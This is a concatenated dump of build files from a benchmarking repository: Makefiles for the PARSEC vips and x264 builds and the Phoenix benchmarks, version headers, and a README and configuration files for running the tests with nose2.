NAME := convolution 2 | SRC := convol_dispatch \ 3 | im_addgnoise \ 4 | im_compass \ 5 | im_conv \ 6 | im_conv_f \ 7 | im_convsep \ 8 | im_convsep_f \ 9 | im_contrast_surface \ 10 | im_fastcor \ 11 | im_gradcor \ 12 | im_sharpen \ 13 | im_spcor 14 | 15 | include ../subdirs_common.mk 16 | -------------------------------------------------------------------------------- /src/parsec/vips/src/deprecated/Makefile: -------------------------------------------------------------------------------- 1 | NAME := deprecated 2 | SRC := deprecated_dispatch \ 3 | im_fav4 \ 4 | im_gadd \ 5 | im_gaddim \ 6 | im_cmulnorm \ 7 | im_printlines \ 8 | im_convsub \ 9 | im_line \ 10 | im_resize_linear \ 11 | im_debugim \ 12 | im_gfadd \ 13 | im_setbox \ 14 | rename \ 15 | im_bernd \ 16 | im_thresh \ 17 | im_slice \ 18 | im_print \ 19 | im_litecor 20 | 21 | include ../subdirs_common.mk 22 | -------------------------------------------------------------------------------- /src/parsec/vips/src/dummy.c: -------------------------------------------------------------------------------- 1 | /* mac os x libtool hates empty link sections in convenience libraries 2 | */ 3 | const int im__dummy_value = 42; 4 | -------------------------------------------------------------------------------- /src/parsec/vips/src/format/Makefile: -------------------------------------------------------------------------------- 1 | NAME := format 2 | SRC := format \ 3 | format_dispatch \ 4 | im_analyze2vips \ 5 | im_csv2vips \ 6 | im_exr2vips \ 7 | im_jpeg2vips \ 8 | im_magick2vips \ 9 | im_png2vips \ 10 | im_ppm2vips \ 11 | im_raw2vips \ 12 | im_tiff2vips \ 13 | im_tile_cache \ 14 | im_vips2csv \ 15 | im_vips2jpeg \ 16 | im_vips2png \ 17 | im_vips2ppm \ 18 | im_vips2tiff \ 19 | im_vips2raw \ 20 | matlab \ 21 | radiance 22 | 23 | include ../subdirs_common.mk 24 | -------------------------------------------------------------------------------- /src/parsec/vips/src/freq_filt/Makefile: -------------------------------------------------------------------------------- 1 | NAME := freq_filt 2 | SRC := fft_sp \ 3 | fmask4th \ 4 | im_phasecor_fft \ 5 | fmaskcir \ 6 | freq_dispatch \ 7 | im_disp_ps \ 8 | im_fractsurf \ 9 | im_freq_mask \ 10 | im_freqflt \ 11 | im_fwfft \ 12 | im_invfft \ 13 | im_invfftr \ 14 | im_rotquad 15 | 16 | include ../subdirs_common.mk 17 | -------------------------------------------------------------------------------- /src/parsec/vips/src/histograms_lut/Makefile: -------------------------------------------------------------------------------- 1 | NAME := histograms_lut 2 | SRC := hist_dispatch \ 3 | im_gammacorrect \ 4 | im_heq \ 5 | im_hist \ 6 | im_histeq \ 7 | im_histgr \ 8 | im_histnD \ 9 | im_histplot \ 10 | im_histindexed \ 11 | im_histspec \ 12 | im_hsp \ 13 | im_mpercent \ 14 | im_identity \ 15 | im_invertlut \ 16 | im_lhisteq \ 17 | im_maplut \ 18 | im_buildlut \ 19 | im_project \ 20 | im_stdif \ 21 | tone 22 | 23 | include ../subdirs_common.mk 24 | -------------------------------------------------------------------------------- /src/parsec/vips/src/include/Makefile: -------------------------------------------------------------------------------- 1 | NAME := arithmetic 2 | SRC := arith_dispatch \ 3 | im_abs \ 4 | im_add \ 5 | im_avg \ 6 | im_bandmean \ 7 | im_cross_phase \ 8 | im_deviate \ 9 | im_divide \ 10 | im_recomb \ 11 | im_invert \ 12 | im_linreg \ 13 | im_lintra \ 14 | im_maxpos_avg \ 15 | im_maxpos \ 16 | im_maxpos_vec \ 17 | im_measure \ 18 | im_minpos \ 19 | im_multiply \ 20 | im_point_bilinear \ 21 | im_remainder \ 22 | im_sign \ 23 | im_stats \ 24 | im_subtract \ 25 | math \ 26 | power \ 27 | round 28 | 29 | include ../subdirs_common.mk 30 | -------------------------------------------------------------------------------- /src/parsec/vips/src/include/README.md: -------------------------------------------------------------------------------- 1 | # Why empty? 2 | 3 | In order to reduce the repository size, all file in this folder were removed. To install them, run: 4 | 5 | ```sh 6 | ./entrypoint.py install -n parsec 7 | `` 8 | -------------------------------------------------------------------------------- /src/parsec/vips/src/include/vips/Makefile.am: -------------------------------------------------------------------------------- 1 | pkginclude_HEADERS = \ 2 | almostdeprecated.h \ 3 | deprecated.h \ 4 | arithmetic.h \ 5 | boolean.h \ 6 | buf.h \ 7 | callback.h \ 8 | check.h \ 9 | colour.h \ 10 | conversion.h \ 11 | convolution.h \ 12 | debug.h \ 13 | dispatch.h \ 14 | disp.h \ 15 | error.h \ 16 | format.h \ 17 | inplace.h \ 18 | generate.h \ 19 | header.h \ 20 | histograms_lut.h \ 21 | freq_filt.h \ 22 | image.h \ 23 | interpolate.h \ 24 | intl.h \ 25 | mask.h \ 26 | memory.h \ 27 | meta.h \ 28 | morphology.h \ 29 | mosaicing.h \ 30 | other.h \ 31 | video.h \ 32 | cimg_funcs.h \ 33 | object.h \ 34 | private.h \ 35 | rect.h \ 36 | region.h \ 37 | relational.h \ 38 | resample.h \ 39 | semaphore.h \ 40 | struct.h \ 41 | threadpool.h \ 42 | thread.h \ 43 | transform.h \ 44 | util.h \ 45 | version.h \ 46 | vips.h 47 | 48 | vipsc++.h: 49 | vips --cpph all > vipsc++.h 50 | 51 | EXTRA_DIST = version.h.in internal.h 52 | -------------------------------------------------------------------------------- /src/parsec/vips/src/include/vips/version.h: -------------------------------------------------------------------------------- 1 | /* Macros for the header version. 2 | */ 3 | 4 | #ifndef IM_VERSION_H 5 | #define IM_VERSION_H 6 | 7 | #define IM_VERSION "7.22.1" 8 | #define IM_VERSION_STRING "7.22.1-Thu Jun 24 20:46:16 BST 2010" 9 | #define IM_MAJOR_VERSION (7) 10 | #define IM_MINOR_VERSION (22) 11 | #define IM_MICRO_VERSION (1) 12 | #define IM_INTERFACE_AGE (@IM_INTERFACE_AGE@) 13 | #define IM_BINARY_AGE (@IM_BINARY_AGE@) 14 | 15 | #endif /*IM_VERSION_H*/ 16 | -------------------------------------------------------------------------------- /src/parsec/vips/src/include/vips/version.h.in: -------------------------------------------------------------------------------- 1 | /* Macros for the header version. 2 | */ 3 | 4 | #ifndef IM_VERSION_H 5 | #define IM_VERSION_H 6 | 7 | #define IM_VERSION "@IM_VERSION@" 8 | #define IM_VERSION_STRING "@IM_VERSION_STRING@" 9 | #define IM_MAJOR_VERSION (@IM_MAJOR_VERSION@) 10 | #define IM_MINOR_VERSION (@IM_MINOR_VERSION@) 11 | #define IM_MICRO_VERSION (@IM_MICRO_VERSION@) 12 | #define IM_INTERFACE_AGE (@IM_INTERFACE_AGE@) 13 | #define IM_BINARY_AGE (@IM_BINARY_AGE@) 14 | 15 | #endif /*IM_VERSION_H*/ 16 | -------------------------------------------------------------------------------- /src/parsec/vips/src/inplace/Makefile: -------------------------------------------------------------------------------- 1 | NAME := inplace 2 | SRC := im_circle \ 3 | flood \ 4 | im_insertplace \ 5 | im_paintrect \ 6 | im_plotmask \ 7 | inplace_dispatch \ 8 | line_draw \ 9 | plot_point \ 10 | smudge_area 11 | 12 | include ../subdirs_common.mk 13 | -------------------------------------------------------------------------------- /src/parsec/vips/src/inplace/Makefile.am: -------------------------------------------------------------------------------- 1 | noinst_LTLIBRARIES = libinplace.la 2 | 3 | libinplace_la_SOURCES = \ 4 | im_circle.c \ 5 | flood.c \ 6 | im_insertplace.c \ 7 | im_paintrect.c \ 8 | im_plotmask.c \ 9 | inplace_dispatch.c \ 10 | line_draw.c \ 11 | plot_point.c \ 12 | smudge_area.c 13 | 14 | INCLUDES = -I${top_srcdir}/libvips/include @VIPS_CFLAGS@ @VIPS_INCLUDES@ 15 | -------------------------------------------------------------------------------- /src/parsec/vips/src/iofuncs/Makefile: -------------------------------------------------------------------------------- 1 | NAME := iofuncs 2 | SRC := object \ 3 | meta \ 4 | base64 \ 5 | callback \ 6 | debug \ 7 | dispatch_types \ 8 | error \ 9 | im_binfile \ 10 | im_close \ 11 | im_cp_desc \ 12 | im_demand_hint \ 13 | im_generate \ 14 | im_histlin \ 15 | im_image \ 16 | init \ 17 | im_mapfile \ 18 | im_open \ 19 | im_open_vips \ 20 | im_partial \ 21 | im_prepare \ 22 | im_setbuf \ 23 | im_setupout \ 24 | im_unmapfile \ 25 | im_guess_prefix \ 26 | sinkmemory \ 27 | sinkscreen \ 28 | sinkdisc \ 29 | sink \ 30 | im_wrapmany \ 31 | im_writeline \ 32 | memory \ 33 | check \ 34 | package \ 35 | header \ 36 | region \ 37 | rect \ 38 | semaphore \ 39 | threadpool \ 40 | util \ 41 | im_init_world \ 42 | buf \ 43 | window \ 44 | buffer \ 45 | time 46 | 47 | CFLAGS += -DPATH_MAX=4096 -DHAVE_SYS_MMAN_H -DHAVE_SYS_FILE_H -DHAVE_UNISTD_H -DHAVE_SYS_PARAM_H -DHAVE_REALPATH 48 | CXXFLAGS += -DPATH_MAX=4096 -DHAVE_SYS_MMAN_H -DHAVE_SYS_FILE_H -DHAVE_UNISTD_H -DHAVE_SYS_PARAM_H -DHAVE_REALPATH 49 | 50 | include ../subdirs_common.mk 51 | -------------------------------------------------------------------------------- /src/parsec/vips/src/iofuncs/base64.h: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Copyright (C) 1991-2005 The National Gallery 4 | 5 | This program is free software; you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation; either version 2 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program; if not, write to the Free Software 17 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 18 | 19 | */ 20 | 21 | /* base64 encode/decode functions. 22 | */ 23 | 24 | char *im__b64_encode( const unsigned char *data, size_t data_length ); 25 | unsigned char *im__b64_decode( const char *buffer, size_t *data_length ); 26 | -------------------------------------------------------------------------------- /src/parsec/vips/src/mask/Makefile: -------------------------------------------------------------------------------- 1 | NAME := mask 2 | SRC := rotmask \ 3 | im_gaussmasks \ 4 | im_logmasks \ 5 | rw_mask \ 6 | im_matcat \ 7 | im_matinv \ 8 | im_matmul \ 9 | im_mattrn \ 10 | matalloc \ 11 | mask_dispatch 12 | 13 | include ../subdirs_common.mk 14 | -------------------------------------------------------------------------------- /src/parsec/vips/src/morphology/Makefile: -------------------------------------------------------------------------------- 1 | NAME := morphology 2 | SRC := im_cntlines \ 3 | im_dilate\ 4 | im_erode\ 5 | im_rank \ 6 | im_rank_image \ 7 | im_zerox \ 8 | morph_dispatch \ 9 | im_label_regions \ 10 | im_profile 11 | 12 | include ../subdirs_common.mk 13 | -------------------------------------------------------------------------------- /src/parsec/vips/src/mosaicing/Makefile: -------------------------------------------------------------------------------- 1 | NAME := mosaicing 2 | SRC := im_align_bands \ 3 | match \ 4 | mosaic1 \ 5 | mosaicing_dispatch \ 6 | global_balance \ 7 | im_avgdxdy \ 8 | im_chkpair \ 9 | im_clinear \ 10 | im_improve \ 11 | im_initialize \ 12 | im_lrcalcon \ 13 | im_lrmerge \ 14 | im_lrmosaic \ 15 | im_maxpos_subpel \ 16 | im_tbcalcon \ 17 | im_tbmerge \ 18 | im_remosaic \ 19 | im_tbmosaic \ 20 | 21 | include ../subdirs_common.mk 22 | -------------------------------------------------------------------------------- /src/parsec/vips/src/other/Makefile: -------------------------------------------------------------------------------- 1 | NAME := other 2 | SRC := cooc_funcs \ 3 | glds_funcs \ 4 | im_benchmark \ 5 | im_dif_std \ 6 | im_eye \ 7 | im_grey \ 8 | im_make_xy \ 9 | im_meanstd \ 10 | im_simcontr \ 11 | im_sines \ 12 | im_spatres \ 13 | im_zone \ 14 | other_dispatch 15 | 16 | include ../subdirs_common.mk 17 | -------------------------------------------------------------------------------- /src/parsec/vips/src/relational/Makefile: -------------------------------------------------------------------------------- 1 | NAME := relational 2 | SRC := im_ifthenelse \ 3 | im_blend \ 4 | relational \ 5 | relational_dispatch 6 | 7 | include ../subdirs_common.mk 8 | -------------------------------------------------------------------------------- /src/parsec/vips/src/resample/Makefile: -------------------------------------------------------------------------------- 1 | NAME := resample 2 | SRC := im_affine \ 3 | interpolate \ 4 | im_shrink \ 5 | im_stretch3 \ 6 | im_rightshift_size \ 7 | transform \ 8 | resample_dispatch \ 9 | bicubic \ 10 | lbb \ 11 | nohalo \ 12 | vsqbs 13 | 14 | include ../subdirs_common.mk 15 | -------------------------------------------------------------------------------- /src/parsec/vips/src/subdirs_common.mk: -------------------------------------------------------------------------------- 1 | BUILD_PATH = $(BUILD_ROOT)/$(BENCH_SUITE)/vips/$(BUILD_TYPE)/$(NAME) 2 | include Makefile.$(BUILD_TYPE) 3 | include $(PROJ_ROOT)/src/parsec/parsec_common.mk 4 | 5 | all: $(BUILD_PATH)/../$(NAME).$(OBJ_EXT) 6 | 7 | $(BUILD_PATH)/../$(NAME).$(OBJ_EXT): $(LLS) 8 | $(LD) $(LDRELOC) $^ -o $@ 9 | -------------------------------------------------------------------------------- /src/parsec/vips/src/video/Makefile: -------------------------------------------------------------------------------- 1 | NAME := video 2 | SRC := video_dispatch \ 3 | im_video_v4l1 \ 4 | im_video_test 5 | 6 | include ../subdirs_common.mk 7 | -------------------------------------------------------------------------------- /src/parsec/x264/Makefile: -------------------------------------------------------------------------------- 1 | NAME := x264 2 | SRC := x264 matroska muxers \ 3 | mc predict pixel macroblock frame dct cpu cabac common mdate set quant vlc \ 4 | encoder_analyse encoder_me encoder_ratecontrol encoder_set encoder_macroblock encoder_cabac encoder_cavlc encoder_encoder 5 | 6 | VPATH := src 7 | 8 | INC_DIR += $(PROJ_ROOT)/src/parsec/x264/src/ 9 | CCFLAGS += -pthread -ffast-math -Wno-aggressive-loop-optimizations -Wno-int-conversion -DHAVE_MALLOC_H -DARCH_X86_64 -DSYS_LINUX -DHAVE_PTHREAD -fomit-frame-pointer 10 | LIBS += -lm 11 | 12 | include Makefile.$(BUILD_TYPE) 13 | include ../parsec_common.mk 14 | 15 | all: $(BUILD_PATH)/$(NAME) 16 | 17 | -------------------------------------------------------------------------------- /src/parsec/x264/src/config.h: -------------------------------------------------------------------------------- 1 | #define fseek fseeko 2 | #define ftell ftello 3 | #define X264_VERSION " r1047M f773bf0" 4 | #define X264_POINTVER "0.65.1047M f773bf0" 5 | -------------------------------------------------------------------------------- /src/parsec/x264/src/encoder_ratecontrol.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/src/parsec/x264/src/encoder_ratecontrol.c -------------------------------------------------------------------------------- /src/phoenix/histogram/Makefile: -------------------------------------------------------------------------------- 1 | NAME := histogram 2 | SRC := histogram-seq 3 | 4 | ifneq ($(strip $(NUM_THREADS)),1) 5 | SRC := histogram-pthread 6 | LIBS += -pthread 7 | endif 8 | 9 | INC_DIR := ${PROJ_ROOT}/src/phoenix/include 10 | VPATH := src 11 | 12 | include Makefile.$(BUILD_TYPE) 13 | 14 | all: $(BUILD_PATH)/$(NAME) 15 | -------------------------------------------------------------------------------- /src/phoenix/kmeans/Makefile: -------------------------------------------------------------------------------- 1 | NAME := kmeans 2 | SRC := kmeans-seq 3 | 4 | ifneq ($(strip $(NUM_THREADS)),1) 5 | SRC := kmeans-pthread 6 | LIBS += -pthread 7 | endif 8 | 9 | INC_DIR := ${PROJ_ROOT}/src/phoenix/include 10 | VPATH := src 11 | 12 | include Makefile.$(BUILD_TYPE) 13 | 14 | all: $(BUILD_PATH)/$(NAME) 15 | -------------------------------------------------------------------------------- /src/phoenix/linear_regression/Makefile: -------------------------------------------------------------------------------- 1 | NAME := linear_regression 2 | SRC := linear_regression-seq 3 | 4 | ifneq ($(strip $(NUM_THREADS)),1) 5 | SRC := linear_regression-pthread 6 | LIBS += -pthread 7 | endif 8 | 9 | INC_DIR := ${PROJ_ROOT}/src/phoenix/include 10 | VPATH := src 11 | 12 | CFLAGS += -fno-unroll-loops 13 | 14 | include Makefile.$(BUILD_TYPE) 15 | 16 | all: $(BUILD_PATH)/$(NAME) 17 | -------------------------------------------------------------------------------- /src/phoenix/matrix_multiply/Makefile: -------------------------------------------------------------------------------- 1 | NAME := matrix_multiply 2 | SRC := matrix_multiply-seq 3 | 4 | ifneq ($(strip $(NUM_THREADS)),1) 5 | SRC := matrix_multiply-pthread 6 | LIBS += -pthread 7 | endif 8 | 9 | INC_DIR := ${PROJ_ROOT}/src/phoenix/include 10 | VPATH := src 11 | 12 | include Makefile.$(BUILD_TYPE) 13 | 14 | all: $(BUILD_PATH)/$(NAME) 15 | -------------------------------------------------------------------------------- /src/phoenix/pca/Makefile: -------------------------------------------------------------------------------- 1 | NAME := pca 2 | SRC := pca-seq 3 | 4 | ifneq ($(strip $(NUM_THREADS)),1) 5 | SRC := pca-pthread 6 | LIBS += -pthread 7 | endif 8 | 9 | INC_DIR += ${PROJ_ROOT}/src/phoenix/include 10 | VPATH := src 11 | 12 | CFLAGS := $(CFLAGS) 13 | 14 | include Makefile.$(BUILD_TYPE) 15 | 16 | all: $(BUILD_PATH)/$(NAME) 17 | -------------------------------------------------------------------------------- /src/phoenix/string_match/Makefile: -------------------------------------------------------------------------------- 1 | NAME := string_match 2 | SRC := string_match-seq 3 | 4 | ifneq ($(strip $(NUM_THREADS)),1) 5 | SRC := string_match-pthread 6 | LIBS += -pthread 7 | endif 8 | 9 | INC_DIR := ${PROJ_ROOT}/src/phoenix/include 10 | VPATH := src 11 | 12 | include Makefile.$(BUILD_TYPE) 13 | 14 | all: $(BUILD_PATH)/$(NAME) 15 | -------------------------------------------------------------------------------- /src/phoenix/word_count/Makefile: -------------------------------------------------------------------------------- 1 | NAME := word_count 2 | SRC := word_count-seq 3 | 4 | ifneq ($(strip $(NUM_THREADS)),1) 5 | SRC := word_count-pthread sort-pthread 6 | LIBS += -pthread 7 | endif 8 | 9 | INC_DIR := ${PROJ_ROOT}/src/phoenix/include 10 | VPATH := src 11 | 12 | include Makefile.$(BUILD_TYPE) 13 | 14 | all: $(BUILD_PATH)/$(NAME) 15 | -------------------------------------------------------------------------------- /tests/README.md: -------------------------------------------------------------------------------- 1 | # Running tests 2 | 3 | * 1 test module; all benchmarks in it; all build types 4 | 5 | ``` 6 | python3 -d -m nose2 -s tests module_name 7 | 8 | # e.g., to test all SPEC benchmarks 9 | python3 -d -m nose2 -s tests test_spec 10 | 11 | ``` 12 | 13 | * 1 benchmark from a module; all build types 14 | 15 | ``` 16 | NAME=benchmark_name python3 -d -m nose2 -s tests module_name 17 | 18 | # e.g., to test perlbench from SPEC 19 | NAME=perlbench python3 -d -m nose2 -v -s tests test_spec 20 | ``` 21 | 22 | * 1 build type for all benchmarks in a module 23 | 24 | ``` 25 | ACTION=build_type python3 -d -m nose2 -s tests module_name 26 | 27 | # e.g., to test gcc native build on SPEC 28 | ACTION=gcc_native python3 -d -m nose2 -v -s tests test_spec 29 | ``` 30 | 31 | * 1 build type and 1 benchmark form a module 32 | 33 | ``` 34 | ACTION=build_type python3 -d -m nose2 -s tests module_name 35 | 36 | # e.g., to test gcc native build on SPEC 37 | ACTION=gcc_native python3 -d -m nose2 -v -s tests test_spec 38 | ``` 39 | 40 | -------------------------------------------------------------------------------- /tests/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/tests/__init__.py -------------------------------------------------------------------------------- /tests/nose2-serial.cfg: -------------------------------------------------------------------------------- 1 | [unittest] 2 | plugins = nose2.plugins.mp 3 | 4 | [multiprocess] 5 | processes = 1 6 | always-on = False 7 | -------------------------------------------------------------------------------- /tests/nose2.cfg: -------------------------------------------------------------------------------- 1 | [unittest] 2 | plugins = nose2.plugins.mp 3 | 4 | [multiprocess] 5 | processes = 4 6 | always-on = False 7 | --------------------------------------------------------------------------------